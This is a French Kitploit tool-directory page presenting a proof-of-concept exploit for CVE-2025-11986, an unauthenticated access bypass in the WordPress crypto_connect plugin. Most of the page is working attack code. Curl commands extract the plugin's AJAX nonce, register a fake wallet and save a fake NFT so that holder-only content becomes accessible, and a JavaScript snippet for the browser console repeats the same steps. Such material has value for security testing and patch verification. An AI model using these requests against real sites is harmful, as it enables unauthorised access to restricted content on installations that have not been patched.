Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-11986 — Preuve de concept d'exploit pour CVE-2025-11986 démontrant un contournement d'accès non authentifié dans le plugin WordPress crypto_connect via l'extraction de nonce et l'enregistrement factice de NFT. | Kitploit
Outils/GitHubGitHub/jfriedli/cve-2025-11986
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentification
GitHubjfriedli/cve-2025-11986

CVE-2025-11986

Preuve de concept d'exploit pour CVE-2025-11986 démontrant un contournement d'accès non authentifié dans le plugin WordPress crypto_connect via l'extraction de nonce et l'enregistrement factice de NFT.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

1) Extraire le nonce public crypto_ajax de la page restreinte

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'

NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction method
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) Effectuer une inscription non authentifiée (aucune preuve de wallet requise)

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}&param1=0xDEADBEEF00000000000000000000000000000000"

3) Simuler des NFT pour forcer l'accès

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}&param1=&param2=attacker.yak&param3=1"

4) Vérifier que le contenu restreint est accessible

root@kitploit:~
curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"

Optionnel : Preuve de concept dans le navigateur (exécuter dans les DevTools)

root@kitploit:~
(() => {
  const n =
    (window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
    (document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];

  if (!n) {
    console.error('nonce not found');
    return;
  }

  const post = d =>
    fetch('/wordpress/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams(d)
    })
      .then(r => r.text())
      .then(t => (console.log(t), t));

  (async () => {
    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'register',
      id: '1',
      nonce: n,
      param1: '0xDEADBEEF00000000000000000000000000000000'
    });

    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'savenft',
      id: '1',
      nonce: n,
      param1: '',
      param2: 'attacker.yak',
      param3: '1'
    });

    location.reload();
  })();
})();
Télécharger l’outil